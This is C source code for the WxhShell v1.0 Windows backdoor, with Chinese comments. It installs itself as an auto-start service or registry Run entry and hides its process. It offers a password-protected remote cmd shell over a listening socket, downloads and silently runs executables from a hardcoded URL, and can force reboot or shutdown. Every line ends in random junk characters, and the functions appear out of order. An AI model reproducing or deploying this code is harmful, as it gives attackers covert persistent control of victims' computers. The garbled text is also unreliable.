    if(Boot(SHUTDOWN)) !uii|"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H*!j\|v0  
    else { 4$+1jjC]>~  
    closesocket(wsh); 3aQWzEnh  
    ExitThread(0); KY<>S/  
    } ec[S?-  
    break; ~(aQ!!H6  
    } j` 9pZAF  
  // 获取shell {v}f/ cu  
  case 's': { ~&[Wqn@MZ  
    CmdShell(wsh); G,e>dp_cPu  
    closesocket(wsh); w-2p'u['Z  
    ExitThread(0); Y'&A~/Adf  
    break; DF-`nD  
  } :[ m;#b  
  // 退出 iv2did4  
  case 'x': { wbshKkUh_*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SEq_37  
    CloseIt(wsh); a?.hvI   
    break; ZWQrG'$?o8  
    } +N: K V}K  
  // 离开 )d!,,o  
  case 'q': { ,`v)nwP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nPj%EKdY4  
    closesocket(wsh); _(&^M[O  
    WSACleanup(); ya0L8`q  
    exit(1); Fd":\7p  
    break; TYGUB%A  
        } nR-`;lrF~  
  } +pZ, RW.D  
  } (|I:d!>:U  
X}Bo[YoY$  
  // 提示信息 .p  NWd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oA%8k51>~K  
} l&S2.sC  
  } [x ?38  
EYtf>D  
  return; 8Eyi`~cAiH  
} >j5) MF{"  
A9' [x7N  
// shell模块句柄 wWv")dk3i  
int CmdShell(SOCKET sock) aN?{MA\  
{ O}I8P")m  
STARTUPINFO si; +dw$IMwb  
ZeroMemory(&si,sizeof(si)); fCdd,,,}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _\hZX|:]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |7XSC,"  
PROCESS_INFORMATION ProcessInfo; ifTMoC%  
char cmdline[]="cmd"; dqMt6b\}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +e?mKLw14  
  return 0; wegu1Ny  
} jX}}^XwX  
-.-j e"E  
// 自身启动模式 -Zx hh  
int StartFromService(void) .V G$`g"  
{  =+9.X8SP  
typedef struct z/6/   
{ Pj9n`LwM  
  DWORD ExitStatus; VU3xP2c:  
  DWORD PebBaseAddress; $zS0]@Dj  
  DWORD AffinityMask; 6X2>zUHR  
  DWORD BasePriority; }`#OA]NZ  
  ULONG UniqueProcessId; 2c`m8EaJ  
  ULONG InheritedFromUniqueProcessId; }1E'a>^|  
}   PROCESS_BASIC_INFORMATION; Y [Jt+p]  
2 g5Ft  
PROCNTQSIP NtQueryInformationProcess; |M]#D0v  
tZ,vt7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jiQJ{yY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #U45;idp  
2<HG=iSf  
  HANDLE             hProcess; vH/<!jtI  
  PROCESS_BASIC_INFORMATION pbi; CBw/a0Uck  
np3$bqm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5N "fD{v{  
  if(NULL == hInst ) return 0; e+jp03m\W  
pwo5Ij,~q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !R*%F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a)J3=Z-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vJ5`:4n"  
(O{5L(  
  if (!NtQueryInformationProcess) return 0; NX7(;02  
k[lYd k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W:D'k^u  
  if(!hProcess) return 0; Q- ( [3%  
xxxM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9Fb|B  
:N03$Tvl  
  CloseHandle(hProcess); s`"o-w\$>  
ngF5ywIG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3GVE/GtU  
if(hProcess==NULL) return 0; .Rt_j  
l%"[857  
HMODULE hMod; <SM{yMz  
char procName[255]; `H+~LVH  
unsigned long cbNeeded; P<P4*cOV  
{Ic~}>w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2>~{.4PI  
R^zTgyr  
  CloseHandle(hProcess); MQ;c'?!5[!  
&4M0 S+.  
if(strstr(procName,"services")) return 1; // 以服务启动 wI'8B{[  
&_X6m0z  
  return 0; // 注册表启动 Co6ghH7T  
} &t)dE7u5  
>C""T`5]  
// 主模块 d>"t* >i]>  
int StartWxhshell(LPSTR lpCmdLine) _Eq*  
{ o6f^DG3*  
  SOCKET wsl; oXw}K((|  
BOOL val=TRUE; LL,&!KW[S  
  int port=0; 4^H(p  
  struct sockaddr_in door; ~F7 +R   
2w`kh=  
  if(wscfg.ws_autoins) Install(); BNU]NcA#*,  
:@LFNcWE  
port=atoi(lpCmdLine); B ;Zsp  
Y9F78=Q  
if(port<=0) port=wscfg.ws_port; ".+wz1  
$<^4G  
  WSADATA data; `q Sfo`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;)ff Gg>  
G=4Da~<ij  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n"B"Aysz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uS :3Yo  
  door.sin_family = AF_INET; >o{(f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U85t !U  
  door.sin_port = htons(port); zjd]65P  
;OW`(jC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l'YpSO~l7  
closesocket(wsl); [~$Ji&Dd  
return 1; Ko%&~C_  
} e* gCc7zz  
b6=.6?H@4f  
  if(listen(wsl,2) == INVALID_SOCKET) { ,sPsL9]$  
closesocket(wsl); Nx4_Oc^hY  
return 1; Te?UQX7Z}M  
} /$zYSP)YT  
  Wxhshell(wsl); \ ?['pB  
  WSACleanup(); hNXP-s  
"dwx;E  
return 0; oD_'8G}  
P\bW kp0  
} rC~hjViG.  
8EZ"z d`n/  
// 以NT服务方式启动 SPA_a\6_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `WF?87l1  
{ Q1V4bmM  
DWORD   status = 0; qA:CV(Z  
  DWORD   specificError = 0xfffffff; V/i&8UMw  
2&fIF}vk>m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *g&[?y`UC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mJb>)bO l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6 )eO%M`  
  serviceStatus.dwWin32ExitCode     = 0; _5#f9,m1  
  serviceStatus.dwServiceSpecificExitCode = 0; M`HXUA4  
  serviceStatus.dwCheckPoint       = 0; qNER 6  
  serviceStatus.dwWaitHint       = 0; `.nkC_d  
}_}C ^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Uj}iMw,  
  if (hServiceStatusHandle==0) return; 1fwCQM   
\>nPg5OT  
status = GetLastError(); ;<0Q<0G  
  if (status!=NO_ERROR) R^P~iAO  
{ hX\XNiCiK8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V_Kpb*3  
    serviceStatus.dwCheckPoint       = 0; AR'q2/cw  
    serviceStatus.dwWaitHint       = 0; ]qL#/   
    serviceStatus.dwWin32ExitCode     = status; s&Y~ 48{  
    serviceStatus.dwServiceSpecificExitCode = specificError; JE,R[` &  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y cE:KRy  
    return; O-:#Q(H!  
  } > taT;[Oa  
jy{T=Nb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ohusL9D  
  serviceStatus.dwCheckPoint       = 0; <9eQ  
  serviceStatus.dwWaitHint       = 0; ,6PV"E)_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mIq6\c$  
} 2?rg&og6  
F7UY>z3jL  
// 处理NT服务事件,比如:启动、停止 /78gXHv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /lDW5;d  
{ 7qA);N  
switch(fdwControl) w(n&(5FzB<  
{ LlL\7?_;  
case SERVICE_CONTROL_STOP: g*\u8fpRq  
  serviceStatus.dwWin32ExitCode = 0; Wcn3\v6_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ' ^gF  
  serviceStatus.dwCheckPoint   = 0; 2fTkHBhn&  
  serviceStatus.dwWaitHint     = 0; :^lyVQ%@  
  { hf0G-r_ow  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j2deb`GD  
  } A_T-]YQ  
  return; d|]F^DDuI  
case SERVICE_CONTROL_PAUSE: J]nb;4w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =PAvPj&}e  
  break;  IPa08/  
case SERVICE_CONTROL_CONTINUE: o+`W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L7_Mg{  
  break; 1K^blOLXe  
case SERVICE_CONTROL_INTERROGATE: @no]*?Gpa  
  break; =A9>Ej/  
}; nCh9IF[BL/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tz+2g&+  
} 8,=Ti7_  
 S20x  
// 标准应用程序主函数 :Y(Yk5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~el#pf~  
{ p 9XHYf72  
F}<&@7kF  
// 获取操作系统版本 <%<}];bmFL  
OsIsNt=GetOsVer(); !V$nU8p|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m7z/@b[  
?c"No|@+  
  // 从命令行安装 zA9N<0[]o  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9fMg?  
Q#urx^aw  
  // 下载执行文件 < Up n~tH  
if(wscfg.ws_downexe) { U}MU>kzb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }lML..((1  
  WinExec(wscfg.ws_filenam,SW_HIDE); -]~U_J]  
} 03J,NXs  
_a8^AG  
if(!OsIsNt) { 2W|4  
// 如果时win9x,隐藏进程并且设置为注册表启动 1%^U=[#2`  
HideProc(); |;6FhDW+'  
StartWxhshell(lpCmdLine); ,f0cy\.?  
} l Vo](#W  
else HGfYL')Z  
  if(StartFromService()) idvEE6I@  
  // 以服务方式启动 pnca+d  
  StartServiceCtrlDispatcher(DispatchTable); #l2wF>0  
else jr~ +}|@{  
  // 普通方式启动 `(H]aTLt ,  
  StartWxhshell(lpCmdLine); #p&iH9c_  
f?#:@ zcL  
return 0; VvSD &r^qI  
} ~e{AgY)  
o B_c6]K  
'`T.K<  
LT!.M m  
=========================================== y mY,*Rb  
H&[CSc  
Au#(guvm  
I"#jSazk  
|iLeOztuE  
] ?#f=/  
" J;+tQ8,AP  
8*=N\'m],  
#include <stdio.h> 0fxA*]h  
#include <string.h> Lx8 ^V7 X  
#include <windows.h> yrR<F5xge  
#include <winsock2.h> v[e$RH  
#include <winsvc.h> %((F} 9_6  
#include <urlmon.h> D2E~ c? V  
.MhZ=sn  
#pragma comment (lib, "Ws2_32.lib") $V]D7kDph*  
#pragma comment (lib, "urlmon.lib") @za?<G>!'e  
`XP]y=  
#define MAX_USER   100 // 最大客户端连接数 E+dr\Xhv  
#define BUF_SOCK   200 // sock buffer {{ R/:-6?@  
#define KEY_BUFF   255 // 输入 buffer szF[LRb  
t2BkQ8vr  
#define REBOOT     0   // 重启 j1v fp"J1  
#define SHUTDOWN   1   // 关机 64#~p)  
*1ekw#'  
#define DEF_PORT   5000 // 监听端口 RxAWX?9Z  
'-D-H}%;}M  
#define REG_LEN     16   // 注册表键长度  %3KWc-  
#define SVC_LEN     80   // NT服务名长度 {K*l,U  
2etcSU(y>  
// 从dll定义API R/~j <.s3P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ul(1)q^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HO41)m+&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KG'4;Z5J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UN`-;!  
t.j q]L  
// wxhshell配置信息 &~6Z)}  
struct WSCFG { bo <.7  
  int ws_port;         // 监听端口 JZD27[b  
  char ws_passstr[REG_LEN]; // 口令 8niQG']  
  int ws_autoins;       // 安装标记, 1=yes 0=no Fr,>|  
  char ws_regname[REG_LEN]; // 注册表键名 $A7[?Ai ?  
  char ws_svcname[REG_LEN]; // 服务名 qp"gD-,-o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pA!+;Y!ZB<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 - tF5$pb'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rD%(*|Y"c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Al$"k[-Uin  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G( nT.\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k>K23(X  
y 8];MTl  
}; lc>nU hj.  
h K@1 s  
// default Wxhshell configuration [ \V]tpl!  
struct WSCFG wscfg={DEF_PORT, #| A @  
    "xuhuanlingzhe", NqkRR$O  
    1, 00%$?Fyk  
    "Wxhshell", e l'^9K  
    "Wxhshell", s8WA@)L  
            "WxhShell Service", M_T$\z;,  
    "Wrsky Windows CmdShell Service", w<J$12 "p+  
    "Please Input Your Password: ", $* b>c:  
  1, }f^K}*sK$5  
  "http://www.wrsky.com/wxhshell.exe", >>(2ZJ  
  "Wxhshell.exe" ?.v!RdM+  
    }; pk}*0Y-  
Gw~^6(Qu  
// 消息定义模块 |; $fy-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G&/}P$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Mq[;:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q'*-gg&)  
char *msg_ws_ext="\n\rExit."; %a8'6^k  
char *msg_ws_end="\n\rQuit."; fk*JoR.o  
char *msg_ws_boot="\n\rReboot..."; m1]rLeeEt  
char *msg_ws_poff="\n\rShutdown..."; .Ky<9h.K  
char *msg_ws_down="\n\rSave to "; .#5<ZAh/?  
'RQZU*8  
char *msg_ws_err="\n\rErr!"; BG-uKJ ^  
char *msg_ws_ok="\n\rOK!"; 8BE OE<  
_UjAct]6  
char ExeFile[MAX_PATH]; $SG^, !!&A  
int nUser = 0; &^63*x;hE  
HANDLE handles[MAX_USER];  Tx/  
int OsIsNt; 9{70l539  
+3s i=x\=/  
SERVICE_STATUS       serviceStatus; aZ*b"3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &5(|a"5+G  
6M"J3\ x  
// 函数声明 z+PSx'#}  
int Install(void); Yah3I@xGy  
int Uninstall(void); C(?>l.QGw  
int DownloadFile(char *sURL, SOCKET wsh); u5V<f;  
int Boot(int flag); /:ma}qG y  
void HideProc(void); _? 1<  
int GetOsVer(void); mgG0uV  
int Wxhshell(SOCKET wsl); 9.zy`}  
void TalkWithClient(void *cs); |rW}s+Kcr  
int CmdShell(SOCKET sock); /y@$|DI1  
int StartFromService(void); ^w8H=UkP!+  
int StartWxhshell(LPSTR lpCmdLine); %[lX  H  
f@\ k_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;NLL?6~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0z#+^  
2?Q IK3"v  
// 数据结构和表定义 a=p3oh?%-O  
SERVICE_TABLE_ENTRY DispatchTable[] = wA.YEI|CSj  
{ ETSBd[  
{wscfg.ws_svcname, NTServiceMain},  ;lW0p8  
{NULL, NULL} )uwpeq$j7l  
}; \{{B57/Isq  
Y<w2_+(  
// 自我安装 Va(R*38k  
int Install(void) EZ1H0fm  
{ % eW>IN]5  
  char svExeFile[MAX_PATH]; #4%,09+  
  HKEY key; ;o%r{:lng  
  strcpy(svExeFile,ExeFile); b]4yFwb  
>W.Pg`'D  
// 如果是win9x系统,修改注册表设为自启动 e{To&gy~  
if(!OsIsNt) { TL]2{rf~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OPwp(b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U+~0m!|4  
  RegCloseKey(key); ?Q9/C|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3<m"z9$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FK@rZP  
  RegCloseKey(key); lG%oqxJ+ L  
  return 0; 9Hlu%R  
    } 1ReO.Dd`R  
  } ,8+SQo #3  
} mOGcv_L  
else { _)2N Fq  
yK"U:X  
// 如果是NT以上系统,安装为系统服务 A-ir   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >9<h?F%S  
if (schSCManager!=0) ;oob TW{  
{ ;#` Z(A}  
  SC_HANDLE schService = CreateService ~u,g5  
  ( xx!o]D-}  
  schSCManager, s67$tlV  
  wscfg.ws_svcname, ]~3wq[O  
  wscfg.ws_svcdisp, Yfxc$ub  
  SERVICE_ALL_ACCESS, "^22 Y}VB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;&Eu< %y  
  SERVICE_AUTO_START, ?#pL\1"E  
  SERVICE_ERROR_NORMAL, <| Xf4.  
  svExeFile, >hB]T%'  
  NULL, #vLDNR  
  NULL, t8]u#bx"?  
  NULL, zr84%_^  
  NULL, +;FF0_   
  NULL 3~s0ux[  
  ); <adu^5BI  
  if (schService!=0) qLA  
  { C(e!cOG  
  CloseServiceHandle(schService); FE/&<g0,:  
  CloseServiceHandle(schSCManager); 6st(s@>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ={={ W  
  strcat(svExeFile,wscfg.ws_svcname); 2/B(T5PY@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W=I%3F_C"R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {:S{a+9~  
  RegCloseKey(key); (Clf]\_II  
  return 0; ;PG'em  
    } F3';oyy  
  } Lm-}W "7  
  CloseServiceHandle(schSCManager); E<-}Jc1  
} PM%./  
} V&h ,v%$  
D!qtb6<.  
return 1; 4.H!rkMM  
} Vk0O^o  
,A[HYc|uy  
// 自我卸载 xv4nYm9  
int Uninstall(void) YwB 5Zqr  
{ E%H,Hk^  
  HKEY key; w<\N-J|m  
Nm OQ7T  
if(!OsIsNt) { Q6Jb]>g\H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eUF PzioW  
  RegDeleteValue(key,wscfg.ws_regname); M 80Us.  
  RegCloseKey(key); 2z )h,<D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pxDZ}4mOh  
  RegDeleteValue(key,wscfg.ws_regname); ~@itZ,d\  
  RegCloseKey(key); G>#L  
  return 0; &S3szhe  
  } %\:.rs^  
} 2eyvY|:Q>  
} v oC< /}E  
else { 'y'>0'et  
wx<5*8zP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ge(r6"%7  
if (schSCManager!=0) Y`lC4*g  
{ b!7"drge:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x6:$lZ(  
  if (schService!=0) i}+dctg/  
  { l9P~,Ec4''  
  if(DeleteService(schService)!=0) { He j0l^  
  CloseServiceHandle(schService); dQ;rO$c o  
  CloseServiceHandle(schSCManager); 9;h 1;9sC|  
  return 0; DrMcE31  
  } xvpS%MS  
  CloseServiceHandle(schService); }o)GBWqHR  
  } U$0#j  
  CloseServiceHandle(schSCManager); #;?z<  
} y}#bCRy~.A  
} CgEeO,N]j  
 kQX,MP(  
return 1; +twBFhS7k  
} `33h4G  
hr]NW>;  
// 从指定url下载文件 -R6z/P (}  
int DownloadFile(char *sURL, SOCKET wsh)  0m*0I >  
{ p?Yovckm  
  HRESULT hr; $9Z8P_^.0(  
char seps[]= "/"; 27,WP-qie  
char *token; ';b/D   
char *file; ,$}v_-:[l  
char myURL[MAX_PATH]; /l:3* u  
char myFILE[MAX_PATH]; 7 F+w o  
L$(W* PG}  
strcpy(myURL,sURL); N'2u`br4KP  
  token=strtok(myURL,seps); d@] 0 =Ax  
  while(token!=NULL) !^`ZHJ-3>;  
  { HESwz{eSS  
    file=token; m$[ \(Z(/  
  token=strtok(NULL,seps); jL`S6E?7  
  } Y\9uR!0  
c#CX~  
GetCurrentDirectory(MAX_PATH,myFILE); _Vp9Y:mX2  
strcat(myFILE, "\\"); rJ!xzge;G  
strcat(myFILE, file);  /H!I90  
  send(wsh,myFILE,strlen(myFILE),0); 2v%~KV  
send(wsh,"...",3,0); 9^Wj<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ChmPO|2F  
  if(hr==S_OK) xj%h-@o6  
return 0; 5^P)='0*  
else  D&N5)  
return 1; Z;??j+`Eo  
npbNUKdz  
} Lxd*W2$3_  
WnHf)(J`"  
// 系统电源模块 jF-z?  
int Boot(int flag) >@y5R^B`  
{ H;IG\k6C  
  HANDLE hToken; c9f~^}jNb  
  TOKEN_PRIVILEGES tkp; atW;S99#  
CS6,mX  
  if(OsIsNt) { HjV83S;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q1s`d?P/`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >Qt#6X|  
    tkp.PrivilegeCount = 1; .c~;/@{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - n11L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Eiz\Nb  
if(flag==REBOOT) { ]6$NU [  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3go!P])  
  return 0; e&]XiV'  
} p,ZubR J"  
else { 3- LO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mgf80r=  
  return 0; $WTu7lVV[1  
} <\Y>y+$3  
  } \? MuORg  
  else { n;O 3.2  
if(flag==REBOOT) { (:E^} &A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @c7 On)sy  
  return 0; qj/ 66ak  
} vbFY}  
else { ;~/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f+L )x  
  return 0; V-J\!CHX  
} p &XbXg-  
} /Q{Jf+>R>  
% J+'7'g  
return 1; B`T9dL[E4  
} +J.^JXyp0  
.}a@OLJd  
// win9x进程隐藏模块 8kO|t!?:U  
void HideProc(void) 5/neV&VcB  
{ \N/T^,  
HM ^rk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Sy8o/-  
  if ( hKernel != NULL ) a=C?fh  
  { gsT%_2>CL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <0&];5 on  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yK[ ~(!c5  
    FreeLibrary(hKernel); ?WUu@Z  
  } PJkEBdM.  
=o+t_.)N  
return; NhpGa@[D  
} ~-'nEATE  
s_E iA _  
// 获取操作系统版本 Pm" ,7  
int GetOsVer(void) JX>_imo  
{ AL,|%yup  
  OSVERSIONINFO winfo; bYow EzieF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Av+R~&h  
  GetVersionEx(&winfo); Pu}r` E_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mxDy!:@=  
  return 1; CX\# |Q8q  
  else =`.9V<  
  return 0; TLO-$>h  
} 6VCw>x  
okr'=iDg  
// 客户端句柄模块 ]]9eUw=  
int Wxhshell(SOCKET wsl) &hqGGfVsd  
{ O+z-6:`  
  SOCKET wsh; 5RZAs63t  
  struct sockaddr_in client; m!!uf/  
  DWORD myID; >W 8!YOc  
i[WTp??Uv  
  while(nUser<MAX_USER) BA L!6  
{ 5E}0 <&  
  int nSize=sizeof(client); %~$4[,=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2u#{K9g  
  if(wsh==INVALID_SOCKET) return 1; ZLo3 0*  
= `70]%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?Yz.tg  
if(handles[nUser]==0) G}] ZZ  
  closesocket(wsh); O`rrg~6#  
else AF **@iG  
  nUser++; U3A>#EV  
  } i~k?k.t8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @{XN}tWDOp  
u4fTC})4{C  
  return 0; <6- (a;T!7  
} LOe!qt\&  
ZYu^Q6 b3  
// 关闭 socket Gf]oRNP,N  
void CloseIt(SOCKET wsh) Cg)#B+  
{ 28Q`O$=v  
closesocket(wsh); s7df<dBC  
nUser--; c|ZZ+2IYd  
ExitThread(0); Gs*ea'T)  
} =oiY'}%(i  
2Uu,Vv  
// 客户端请求句柄 d5sG t#   
void TalkWithClient(void *cs) ~oSLWA9  
{ EA?:GtH  
T /[)U  
  SOCKET wsh=(SOCKET)cs; w )DO"Z7  
  char pwd[SVC_LEN]; M(oW;^B  
  char cmd[KEY_BUFF]; 5)&e2V',y  
char chr[1]; REFisH-  
int i,j; X2sK<Qluql  
.%~ L  
  while (nUser < MAX_USER) { gxt2Mq;q~}  
0ZPPt(7  
if(wscfg.ws_passstr) { :gQc@)jZ(*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [-Q"A 6!Zd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?e&CbVc4  
  //ZeroMemory(pwd,KEY_BUFF); Xb|hP  
      i=0; t@)~{W {  
  while(i<SVC_LEN) { sM~CP zMa  
AZ!G-73  
  // 设置超时 ,0#OA* 0B  
  fd_set FdRead; Xb6@;G"  
  struct timeval TimeOut; nJ2l$J<  
  FD_ZERO(&FdRead); %y8w9aGt  
  FD_SET(wsh,&FdRead); zhYE#hv2  
  TimeOut.tv_sec=8; nC>#@*+jK  
  TimeOut.tv_usec=0; 5O)Z}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9(u2jbA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |bd5aRS9  
1d-j_ H`s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q+ )KY  
  pwd=chr[0]; h"ZF,g;a  
  if(chr[0]==0xd || chr[0]==0xa) { ;&:UxmTf  
  pwd=0; *%8,G'"r?  
  break; U76:F?MH  
  } NK"y@)%0  
  i++; A3 j>R477A  
    } 5Vut4px  
X Phw0aV  
  // 如果是非法用户,关闭 socket /a9+R)Al  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <_42h|-  
} ZO0_:T#Z  
;{HxY98Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R`s /^0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QuF%m^aE  
$,6=.YuY  
while(1) { =YPWt>\a}  
p8F|]6Z  
  ZeroMemory(cmd,KEY_BUFF); a?+) K  
M5P63=1+  
      // 自动支持客户端 telnet标准   3zh'5qQ  
  j=0; Kz^aW  
  while(j<KEY_BUFF) { P#Eqe O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F}.Af=<Q  
  cmd[j]=chr[0];  JTz1M~  
  if(chr[0]==0xa || chr[0]==0xd) { Zc%S`zK`7  
  cmd[j]=0; ",~3&wx  
  break; 4H\O&pSS  
  } }Pw5*duq  
  j++; >n` OLHg;  
    } NWoZDsu  
?(g kk YI  
  // 下载文件 9N'$Y*. d<  
  if(strstr(cmd,"http://")) { x`B :M7+\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6] <?+#uQ  
  if(DownloadFile(cmd,wsh)) v,>q]! |a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KP:O]520  
  else MfYe @ ;m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kdW i!Hp  
  } VfZ/SByh7p  
  else { +mF}j=k  
*[vf47)r!  
    switch(cmd[0]) { Gjv'$O2_  
  Z?v9ub~%  
